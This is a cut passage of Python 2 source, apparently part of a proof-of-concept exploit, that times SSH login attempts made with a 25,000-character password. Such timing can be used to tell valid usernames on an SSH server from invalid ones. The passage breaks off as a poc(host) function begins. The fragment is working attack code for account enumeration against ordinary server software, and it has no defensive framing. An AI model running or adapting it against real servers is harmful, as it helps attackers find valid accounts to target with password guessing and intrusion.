(user, host)
| 20 | |
| 21 | |
| 22 | def getResponseTime(user, host): |
| 23 | port = int(host.split(':')[-1]) if ':' in host else 22 |
| 24 | host = host.split(':')[0] |
| 25 | |
| 26 | pwd = 'A' * 25000 |
| 27 | ssh = paramiko.SSHClient() |
| 28 | starttime = time.clock() |
| 29 | ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
| 30 | try: |
| 31 | ssh.connect(host, port=port, username=user, password=pwd) |
| 32 | except Exception, e: |
| 33 | pass |
| 34 | finally: |
| 35 | endtime = time.clock() |
| 36 | total = endtime - starttime |
| 37 | return total |
| 38 | |
| 39 | |
| 40 | def poc(host): |